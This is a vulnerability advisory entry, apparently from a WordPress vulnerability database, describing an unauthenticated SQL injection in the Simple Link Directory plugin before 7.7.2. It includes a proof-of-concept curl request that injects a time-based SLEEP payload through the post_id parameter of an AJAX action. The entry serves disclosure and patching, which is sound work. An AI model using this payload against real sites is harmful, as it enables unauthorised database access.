WordPress Plugin Vulnerabilities
Simple Link Directory < 7.7.2 - Unauthenticated SQL injection
Description
The plugin does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL Injection
Proof of Concept
curl 'http://example.com/wp-admin/admin-ajax.php' --data 'action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(5))enz)'
Affects Plugins
Fixed in 7.7.2 References
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
cydave
Submitter
cydave
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Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-02-28 (about 2 years ago)
Added
2022-02-28 (about 2 years ago)
Last Updated
2022-04-17 (about 2 years ago)
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